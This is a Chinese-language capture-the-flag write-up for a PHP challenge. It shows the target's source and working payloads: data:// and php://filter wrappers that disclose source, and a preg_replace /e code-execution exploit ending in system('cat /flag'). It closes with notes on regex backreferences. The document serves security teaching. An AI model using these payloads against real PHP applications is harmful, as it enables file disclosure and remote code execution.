知识点
- data://
- php://filter
- preg_replace函数缺陷(/e模式下导致代码执行)
启动靶机
打开题目,拿到源码
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
第一层绕过
先看第一个if条件
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream"))
利用data://
来绕过第一个参数,利用php://filter
绕过第二个参数。payload:
?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php
得到next.php的源码,进行base64解码
审计next.php
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
审计源码,主要是对我们传入的参数使用complex进行了处理,complex代码如下:
function complex($re, $str) {
return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}
preg_replace 使用了 /e 模式,导致可以代码执行,可以参考这篇文章:深入研究 preg_replace /e 模式下的代码漏洞问题
payload为:
/?.*={${phpinfo()}}
get到的值是/?.*
,参数是{${phpinfo()}}
。但是如果.*
传参,在php中对传入非法的$_GET参数名,会将其转换为下划线
,导致正则匹配失效,所以传参用\S*
最终payload:
next.php?\S*=${getflag()}&cmd=system('ls /');
next.php?\S*=${getflag()}&cmd=system('cat /flag');
写在最后:正则表达式中的反向引用\1
对一个正则表达式模式或部分模式两边添加圆括号将导致相关匹配存储到一个临时缓冲区中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 \n 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。
1、正则表达式中 “\number”
表示反向引用,表示引用一个捕获组,需要和小括号 “()” 一起使用
2、正则捕获组的下标从 0 开始,下标为 0 的组是整个表达式,下标为 1 的表示从左到右开始的第一个左括号所包含的值,后面的数字以此类推
3、捕获组在匹配成功时,会将子表达式匹配到的内容,保存到内存中一个以数字编号的组里,可以简单的认为是对一个局部变量进行了赋值,这时就可以通过反向引用的方式,引用这个局部变量的值。
4、反向引用必须要与捕获组一同使用,如果没有捕获组,而使用了反向引用的语法,不同语言的处理方式不一致,有的语言会抛异常,有的语言会当作普通的转义处理